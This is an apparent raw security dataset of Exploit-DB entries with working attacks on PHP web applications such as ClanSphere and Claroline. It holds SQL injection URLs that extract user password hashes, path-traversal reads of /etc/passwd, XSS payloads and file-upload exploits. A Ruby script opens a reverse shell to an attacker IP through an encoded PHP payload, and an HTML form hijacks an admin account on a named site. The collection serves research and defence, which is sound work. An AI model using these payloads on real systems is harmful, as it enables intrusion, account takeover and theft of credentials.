deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4443
Description: ClanSphere 2007.4 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-22
Author: IHTeam

Exploit:
#########################################################################################
#
#        Inclusion Hunter Team
#        http://www.ihteam.net
#
#
#         [Clansphere 2007.4]
#
#
# Class:     SQL Injection
# Found:     22/09/2007
# Remote:    Yes
# Site:      http://www.clansphere.net/
# Download:  http://sourceforge.net/project/showfiles.php?group_id=95430
#
#########################################################################################


       Vulnerable code:
       mods/banners/navlist.php
============================================================================================================
if(!empty($_GET['cat_id'])) {
 $where = "categories_id = '" . $_GET['cat_id'] . "'";
============================================================================================================




       Exploit (!!!WORK ONLY WITH magic_quotes_gpc = Off!!!):
===================================================================================================================
http://www.site.com/[path]/index.php?mod=banners&cat_id=-1'%20UNION%20ALL%20SELECT%20null,concat(users_nick,0x3a,users_pwd),null,nu

ll%20FROM%20cs_users/*
===================================================================================================================


       Thanks To:
=================================
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-09-22]
Exploit-DB #31067
Description: ClanSphere 2007.4.4 - 'install.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-28
Author: p4imi0

Exploit:
source: https://www.securityfocus.com/bid/27471/info

ClanSphere is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to access potentially sensitive information that may aid in further attacks.

ClanSphere 2007.4.4 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/install.php?lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
Exploit-DB #33068
Description: ClanSphere 2009 - 'text' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-06
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/35605/info

ClanSphere is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ClanSphere 2009.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?mod=search&action=list&text="'><script>alert('xss')</script>&where=0&submit=Suchen
Exploit-DB #14742
Description: ClanSphere 2010 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-25
Author: Sweet

Exploit:
############################################################################
#                                                                          #
# Exploit Title: Clansphere Multiple vulnerabilities                       #
#                                                                          #
# Date: 24/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link:                                                           #
#                                                                          # 
# Download:http: http://sourceforge.net/projects/clansphere/               #
#                                                                          # 
# Version: all                                                             #
#                                                                          #
# Tested on: WinXp sp3                                                     #
#                                                                          #
# Risk : HIGHT                                                             #
#                                                                          #
#                                                                          #
# Description :  clansphere offers some nice features for                  # 
#                                                                          #
# you to easily set up and maintain your proper clan site within minutes!  #
#                                                                          #
############################################################################

1- Blind Sql injection :

http://www.target.com/clanspherepath/index.php?mod=news&action=recent&id=0&from=list'+and+31337-31337=0+--+

http://www.target.com/clansphere/index.php?mod=news&action=recent&year=2009&month=8"+and+31337-31337=0+--+

2-Xss :

http://www.target.com/clansphere/index.php/>"><ScRiPt>alert("sweet")</ScRiPt>


Saha Ftourkoum et 1,2,3 viva L'Algerie :))
Exploit-DB #15560
Description: ClanSphere 2010.0 Final - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-16
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22694
Reference: http://www.htbridge.ch/advisory/sql_injection_in_clansphere.html
Product: CLANSPHERE
Vendor: csphere.eu ( http://www.csphere.eu/ ) 
Vulnerable Version: 2010.0 Final
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
The vulnerability exists due to failure in the "replays" module to properly sanitize user-supplied input in "where" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://[host]/index.php?mod=replays&action=list&where=123%27%20union%20select%201,2,@@version,4,5%20--%20#

Solution: Upgrade to the most recent version

BBcode XSS:
User can execute arbitrary JavaScript code within the vulnerable application.
BBcode isn't properly sanitized. This can be used to post arbitrary script code.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability.
BBcode Example:


[img][url]onerror=javascript:alert(/XSS/);"'[/url][/img]

Solution: Upgrade to the most recent version

Path Disclosure:
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/mods/abcode/create.php
http://[host]/mods/access/manage.php
http://[host]/mods/board/active.php

Solution: Upgrade to the most recent version
Exploit-DB #35680
Description: ClanSphere 2011.0 - Local File Inclusion / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-04-28
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47636/info

ClanSphere is prone to a local file-include vulnerability and multiple arbitrary-file-upload vulnerabilities.

An attacker can exploit these issues to upload arbitrary files onto the webserver, execute arbitrary local files within the context of the webserver, and obtain sensitive information.

ClanSphere 2011.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/mods/ckeditor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=[LFI]%00
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/test.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/connectors/uploadtest.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/browser.html
http://www.example.com/[Path]/mods/ckeditor/filemanager/browser/default/frmupload.html
Exploit-DB #22181
Description: ClanSphere 2011.3 - 'cs_lang' Cookie Local File Inclusion
Type: webapps
Platform: php
Date: 2012-10-23
Author: blkhtc0rp

Exploit:
Exploit Title: ClanSphere 2011.3 (cs_lang cookie parameter) Local File Include Vulnerability
Google Dork: "Copyright 2012 Seitentitel. All rights reserved." || inurl:index.php?mod=clansphere
Date: 10/22/2012
Author: Marco Tulio ~> blkhtc0rp
Vendor Homepage: http://www.csphere.eu
Version: 2011.3
Tested on: Centos 5.7, Ubuntu 8.04 and FreeBSD 8


Poc:
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00.png"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd"
curl "http://server/" -b "blah=blah; cs_lang=../../../../../../../../../../../../../../../../etc/passwd%00"


Exploit:

#!/usr/bin/ruby

#
# ClanSphere 2011.3 (cs_lang) LFI exploit by blkhtc0rp
#
#
# ./clanSphere.rb "http://server/apps/clansphere_2011.3/" "/var/log/httpd/access_log" 192.168.1.221 12345
# [x] ClanSphere 2011.3 LFI Exploit
# [x] Author: blkhtc0rp
# [x] Reverse shell on 192.168.1.221:12345
#
#
# nc -lp 12345
# pwd
# /var/www/html/apps/clansphere_2011.3
# id
# uid=48(apache) gid=48(apache) groups=48(apache)
#
require 'net/http'
require 'base64'

host = ARGV[0]
log = ARGV[1]
ip = ARGV[2]
rev_port = ARGV[3]

abort("Usage: #{$0} <url> <log> <your_ip> <port>") unless ARGV.size == 4

uri = URI.parse(host)

cookie = "blah=blah; cs_lang=../../../../../../../../../../../../../../../.." + log + "%00.png"
headers = { 'Cookie' => cookie, 
            'User-Agent' => 'Mozilla/4.0 (PSP (PlayStation Portable); 5.03)' 
          }

# Tiny shell from the net lol.
shell = "\$ip = \'#{ip}\';\$port = #{rev_port}; if (!(\$sock=fsockopen(\$ip,\$port))) die; while(!feof(\$sock)){ \$command = fgets(\$sock);\$pipe = popen(\$command,'r'); while (!feof(\$pipe)) fwrite (\$sock, fgets(\$pipe)); pclose(\$pipe);}fclose(\$sock);"

enc = Base64.encode64(shell).gsub("\n",'')
sh_encoded = "<?php eval(base64_decode(#{enc}));?>"


puts "[x] ClanSphere 2011.3 LFI Exploit"
puts "[x] Author: blkhtc0rp"
puts "[x] Reverse shell on #{ip}:#{rev_port}"

# Inject base64 shell
req = Net::HTTP::Get.new(sh_encoded)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req)
end

# Exec shell
req2 = Net::HTTP::Get.new(uri.path, headers)
status = Net::HTTP.new(uri.host, uri.port).start do |http|
   http.request(req2)
end
Exploit-DB #51070
Description: Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-27
Author: Sinem Şahin

Exploit:
# Exploit Title: Clansphere CMS 2011.4 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Sinem Şahin
# Date: 2022-10-08
# Vendor Homepage: https://www.csphere.eu/
# Version: 2011.4
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/index.php?mod=buddys&action=create&id=925872
2- Write XSS Payload into the username of the buddy list create.
3- Press "Save" button.

XSS Payload ==> "<script>alert("usernameXSS")</script> 

Link: https://github.com/sinemsahn/POC/blob/main/Create%20Clansphere%202011.4%20%22username%22%20xss.md
Exploit-DB #19051
Description: ClanSuite 2.9 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: ClanSuite 2.9 Arbitrary File Upload
# Date: 29/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://clansuite.com/
# Software Link : https://github.com/jakoch/Clansuite
# or			: http://svn.gna.org/svn/clansuite/trunk/
# Version: 2.9 and Trunk Revision 6400
#
###########################################################

Vuln page : uploads/uploadify.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php";
$c = curl_init("http://mysite.com/uploads/uploadify.php"); // Version 2.9
$c = curl_init("http://mysite.com/application/uploads/uploadify.php"); // Version trunk
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$u",
'name'=>"info.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

shell access : http://mysite.com/uploads/temps/info.php      
or 			 : http://mysite.com/application/uploads/temps/info.php

#####################################################################
Exploit-DB #1710
Description: Clansys 1.1 - 'index.php' PHP Code Insertion
Type: webapps
Platform: php
Date: 2006-04-23
Author: nukedx

Exploit:
NukedX Security Advisory Nr 2006-29
ClanSys v1.1 (index.php page) PHP Code Insertion Vulnerability
Method found & Exploit scripted by nukedx
Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
Original advisory: http://www.nukedx.com/?viewdoc=29
Dork: "ClanSys v.1.1" 2.400 pages.
Full PoC ->
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE -> http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?

# nukedx.com [2006-04-23]

# milw0rm.com [2006-04-23]
Exploit-DB #8717
Description: ClanWeb 1.4.2 - Remote Change Password / Add Admin
Type: webapps
Platform: php
Date: 2009-05-18
Author: ahmadbady

Exploit:
                =-=-remote change password and add admin xpl-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script:ClanWeb 1.4.2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.clanadmintools.com/files.htm
--------------------------------------------------
dork:"Powered by ClanAdmin Tools v1.4.2"
--------------------------

change pass and add admin:


<h2>coded by ahmadbady</h2>
<form id="FormName" action="http://mercurycs.co.za/admincp/save.php?type=user&amp;action=update&amp;id=1" method="post" name="FormName">
<table width="100%" border="0" cellspacing="0" cellpadding="3" align="center">
<tr>
<td align="left" valign="top" bgcolor="#f5f5f5" width="20%"><strong>Username:</strong></td>
<td align="left" bgcolor="#f5f5f5"><input type="text" name="username" value="root" size="24"></td>
</tr>
<tr>
<td align="left" valign="top" width="20%"><strong>Password:</strong></td>
<td align="left"><input type="password" name="password" size="24"></td>
</tr>
<tr>
<td align="left" valign="top" bgcolor="#f5f5f5" width="20%"><strong>E-mailÂ Address:</strong></td>
<td align="left" bgcolor="#f5f5f5"><input type="text" name="mail" value="" size="24"></td>
</tr>
<tr>
<td align="left" valign="top" bgcolor="#f5f5f5" width="20%"><strong>Permissions:</strong></td>
<td align="left" bgcolor="#f5f5f5"><select name="u_rank" size="1">
<option value="1">1</option>
<option value="1">Admin</option>
<option value="3">Member</option>
</select></td>
</tr>			
</table><br>
<div align="center"><input type="submit" name="edit_user" value="Edit User"></div>
</form>
</td>									

---

# milw0rm.com [2009-05-18]
Exploit-DB #33435
Description: ClarkConnect Linux 5.0 - 'proxy.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-22
Author: Edgard Chammas

Exploit:
source: https://www.securityfocus.com/bid/37446/info

ClarkConnect Linux is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ClarkConnect Linux 5.0 is vulnerable; other versions may also be affected.

http://www.example.com:82/public/proxy.php?url=<script>alert("XSS")</script>
Exploit-DB #35520
Description: Claroline 1.10 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-28
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47073/info

Claroline is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Claroline 1.10 is vulnerable; other versions may also be affected. 

"><script>alert(0)</script>
Exploit-DB #17062
Description: Claroline 1.10 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-29
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Claroline 1.10
Vulnerability...........Persistent Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://www.claroline.net/
Disclosure Date.........4/6/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A persistent cross-site scripting vulnerability in Claroline 1.10 can
be exploited to execute arbitrary JavaScript.


--Exploit--

Enter script tags for the first or last name of a user. The tags are
rendered unencoded when viewed in the administration user list.


--PoC--

"><script>alert(0)</script>
Exploit-DB #25551
Description: Claroline 1.5/1.6 - 'myagenda.php?coursePath' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-27
Author: Sieg Fried

Exploit:
source: https://www.securityfocus.com/bid/13407/info
  
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
  
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
  
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
  
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/calendar/myagenda.php?coursePath=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #25549
Description: Claroline 1.5/1.6 - 'toolaccess_details.php?tool' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-27
Author: Sieg Fried

Exploit:
source: https://www.securityfocus.com/bid/13407/info

Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.

Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.

An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.

**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/tracking/toolaccess_details.php?tool=%3Cscript%3Ealert('xss');%3C/script%3E
Exploit-DB #25550
Description: Claroline 1.5/1.6 - 'user_access_details.php?data' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-27
Author: Sieg Fried

Exploit:
source: https://www.securityfocus.com/bid/13407/info
 
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
 
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
 
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
 
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues. 

http:///www.example.com/claroline/tracking/user_access_details.php?cmd=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E
Exploit-DB #31782
Description: Claroline 1.7.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-05-12
Author: MajnOoNxHaCkEr

Exploit:
source: https://www.securityfocus.com/bid/29162/info

Claroline is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow a remote attacker to compromise the application and the underlying system; other attacks are also possible.

Claroline 1.7.5 is affected; other versions may also be vulnerable.

http://www.example.com/[PaTh]/claroline/inc/lib/export_exe_tracking.class.php?clarolineRepositoryAppend=[Ev!l]
http://www.example.com/[PaTh]/claroline/inc/lib/event/init_event_manager.inc.php?includePath=[Ev!l]
Exploit-DB #32108
Description: Claroline 1.8 - '/tracking/courseLog.php?view' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-22
Author: DSecRG

Exploit:
source: https://www.securityfocus.com/bid/30346/info
  
Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to Claroline 1.8.11 are vulnerable. 

http://www.example.com/[installdir]/claroline/tracking/courseLog.php?view=DSec"
STYLE="xss:expression(alert(&#039;DSecRG XSS&#039;))